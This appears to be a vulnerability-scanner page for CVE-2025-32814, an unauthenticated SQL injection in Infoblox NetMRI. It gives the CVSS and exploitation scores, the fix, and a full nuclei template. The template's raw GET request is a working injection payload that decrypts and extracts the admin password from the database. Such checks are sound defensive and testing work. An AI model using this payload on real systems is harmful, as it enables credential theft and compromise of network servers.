Browse / CVEs / CVE-2025-32814
CVE-2025-32814· infoblox / netmri· CWE-89
NetMRI Unauthenticated SQL Injection via skipjackUsername
criticalseverity
9.8CVSS score
37.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.
Impact
Unauthenticated attackers can extract sensitive data including encrypted passwords through SQL injection in the skipjackUsername parameter, potentially leading to complete system compromise.
Fix
Upgrade to Infoblox NetMRI version 7.6.1 or later that properly sanitizes SQL input parameters.
How to confirm it
Send: GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack…
Positive when: contains "XPATH syntax error:"Run it with nuclei: nuclei -id CVE-2025-32814 -u <target>
The full check
id: CVE-2025-32814
info:
name: NetMRI Unauthenticated SQL Injection via skipjackUsername
author: iamnoooob,pdresearch
severity: critical
description: |
An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.
impact: |
Unauthenticated attackers can extract sensitive data including encrypted passwords through SQL injection in the skipjackUsername parameter, potentially leading to complete system compromise.
remediation: |
Upgrade to Infoblox NetMRI version 7.6.1 or later that properly sanitizes SQL input parameters.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32814
- https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-32814
cwe-id: CWE-89
epss-score: 0.37387
epss-percentile: 0.98541
cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: infoblox
product: netmri
fofa-query: icon_hash="-319724102"
tags: cve,cve2025,sqli,unauth,netmri,rails,error-based,vkev,vuln
http:
- raw:
- |
GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName=%22admin%22),%22password%22,1),CHAR(126)),null)--%22&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: password
group: 1
regex:
- "XPATH syntax error: '~(.*?)~'"
internal: true
- type: dsl
dsl:
- "'Password: ' + password"
matchers:
- type: word
part: body
words:
- 'XPATH syntax error:'References
- https://nvd.nist.gov/vuln/detail/CVE-2025-32814
- https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
Use this check only on systems you are authorised to test. Where the data comes from